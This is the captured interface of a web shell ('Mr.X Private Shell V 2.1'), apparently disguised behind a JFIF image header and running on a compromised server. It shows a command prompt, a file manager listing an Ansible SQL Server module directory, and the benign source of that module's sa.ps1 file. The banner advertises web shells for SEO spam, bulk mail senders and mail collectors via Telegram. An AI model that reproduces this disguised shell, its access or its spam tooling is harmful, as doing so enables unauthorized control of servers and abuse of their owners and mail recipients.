����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
#!powershell
# -*- coding: utf-8 -*-

# (c) 2022, John McCall (@lowlydba)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#AnsibleRequires -CSharpUtil Ansible.Basic
#AnsibleRequires -PowerShell ansible_collections.lowlydba.sqlserver.plugins.module_utils._SqlServerUtils
#Requires -Modules @{ ModuleName="dbatools"; ModuleVersion="1.1.112" }

$ErrorActionPreference = "Stop"

$spec = @{
    supports_check_mode = $true
    options = @{
        new_name = @{type = 'str'; required = $false; }
        password = @{type = 'str'; required = $false; no_log = $true }
        enabled = @{type = 'bool'; required = $false; default = $true }
        password_must_change = @{type = 'bool'; required = $false }
        password_policy_enforced = @{type = 'bool'; required = $false }
        password_expiration_enabled = @{type = 'bool'; required = $false }
    }
}
$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec, @(Get-LowlyDbaSqlServerAuthSpec))
$sqlInstance, $sqlCredential = Get-SqlCredential -Module $module
$newName = $module.Params.new_name
if ($null -ne $module.Params.password) {
    $secPassword = ConvertTo-SecureString -String $module.Params.password -AsPlainText -Force
}
$enabled = $module.Params.enabled
[nullable[bool]]$passwordMustChange = $module.Params.password_must_change
[nullable[bool]]$passwordExpirationEnabled = $module.Params.password_expiration_enabled
[nullable[bool]]$passwordPolicyEnforced = $module.Params.password_policy_enforced
$checkMode = $module.CheckMode
$module.Result.changed = $false

try {
    $sa = Get-DbaLogin -SqlInstance $SqlInstance -SqlCredential $sqlCredential -EnableException | Where-Object ID -eq 1

    $setLoginSplat = @{ }

    if ($null -ne $newName) {
        $setLoginSplat.Add("NewName", $newName)
        if ($sa.Name -ne $newName) {
            $changed = $true
        }
    }
    if ($null -ne $passwordExpirationEnabled) {
        if ($sa.PasswordExpirationEnabled -ne $passwordExpirationEnabled) {
            $changed = $true
        }
        if ($passwordExpirationEnabled -eq $true) {
            $setLoginSplat.add("PasswordExpirationEnabled", $true)
        }
    }
    if ($null -ne $passwordPolicyEnforced) {
        if ($sa.PasswordPolicyEnforced -ne $passwordPolicyEnforced) {
            $changed = $true
        }
        if ($passwordPolicyEnforced -eq $true) {
            $setLoginSplat.add("PasswordPolicyEnforced", $true)
        }
    }
    if ($true -eq $passwordMustChange) {
        if ($sa.PasswordMustChange -ne $passwordMustChange) {
            $changed = $true
        }
        if ($passwordMustChange -eq $true) {
            $setLoginSplat.add("PasswordMustChange", $true)
        }
    }
    if ($null -ne $secPassword) {
        $setLoginSplat.add("SecurePassword", $secPassword)
    }
    if ($enabled -eq $false) {
        $disabled = $true
        $setLoginSplat.add("Disable", $true)
    }
    else {
        $disabled = $false
        $setLoginSplat.add("Enable", $true)
    }

    # Check for changes
    if (($changed -eq $true) -or ($disabled -ne $sa.IsDisabled) -or ($secPassword)) {
        $output = $sa | Set-DbaLogin @setLoginSplat -WhatIf:$checkMode -EnableException
        $module.Result.changed = $true
    }
    else {
        $output = $sa
    }

    if ($null -ne $output) {
        $resultData = ConvertTo-SerializableObject -InputObject $output
        $module.Result.data = $resultData
    }
    $module.exitJson()
}
catch {
    $module.FailJson("Configuring 'sa' login failed: $($_.Exception.Message)", $_)
}

Filemanager

DIR : / usr/ lib/ python3.9/ site-packages/ ansible_collections/ lowlydba/ sqlserver/ plugins/ modules/
Name Type Size Permission Actions
__pycache__ Folder 0755
ag_listener.ps1 File 3.12 KB 0644
ag_listener.py File 2.22 KB 0644
ag_replica.ps1 File 7.88 KB 0644
ag_replica.py File 4.71 KB 0644
agent_job.ps1 File 4.56 KB 0644
agent_job.py File 2.36 KB 0644
agent_job_category.ps1 File 2.17 KB 0644
agent_job_category.py File 1.29 KB 0644
agent_job_schedule.ps1 File 6.36 KB 0644
agent_job_schedule.py File 4.83 KB 0644
agent_job_step.ps1 File 6.3 KB 0644
agent_job_step.py File 3.34 KB 0644
availability_group.ps1 File 9.56 KB 0644
availability_group.py File 4.93 KB 0644
backup.ps1 File 5.73 KB 0644
backup.py File 5.75 KB 0644
credential.ps1 File 4.29 KB 0644
credential.py File 2.44 KB 0644
database.ps1 File 9.21 KB 0644
database.py File 2.55 KB 0644
dba_multitool.ps1 File 2.11 KB 0644
dba_multitool.py File 1.98 KB 0644
first_responder_kit.ps1 File 2.77 KB 0644
first_responder_kit.py File 2.74 KB 0644
hadr.ps1 File 2.39 KB 0644
hadr.py File 1.69 KB 0644
install_script.ps1 File 3.19 KB 0644
install_script.py File 3.27 KB 0644
instance_info.ps1 File 1.76 KB 0644
instance_info.py File 931 B 0644
login.ps1 File 5.35 KB 0644
login.py File 2.44 KB 0644
maintenance_solution.ps1 File 3.92 KB 0644
maintenance_solution.py File 3.24 KB 0644
memory.ps1 File 1.49 KB 0644
memory.py File 1.23 KB 0644
nonquery.ps1 File 1.49 KB 0644
nonquery.py File 1.26 KB 0644
resource_governor.ps1 File 2.15 KB 0644
resource_governor.py File 1.33 KB 0644
restore.ps1 File 7.63 KB 0644
restore.py File 7.29 KB 0644
rg_resource_pool.ps1 File 4.22 KB 0644
rg_resource_pool.py File 2.56 KB 0644
rg_workload_group.ps1 File 4.44 KB 0644
rg_workload_group.py File 2.96 KB 0644
sa.ps1 File 3.5 KB 0644
sa.py File 1.97 KB 0644
sp_configure.ps1 File 1.84 KB 0644
sp_configure.py File 1.4 KB 0644
sp_whoisactive.ps1 File 1.62 KB 0644
sp_whoisactive.py File 1.67 KB 0644
spn.ps1 File 2.66 KB 0644
spn.py File 1.87 KB 0644
tcp_port.ps1 File 2.35 KB 0644
tcp_port.py File 1.72 KB 0644
traceflag.ps1 File 2.11 KB 0644
traceflag.py File 1.53 KB 0644
user.ps1 File 4.76 KB 0644
user.py File 2 KB 0644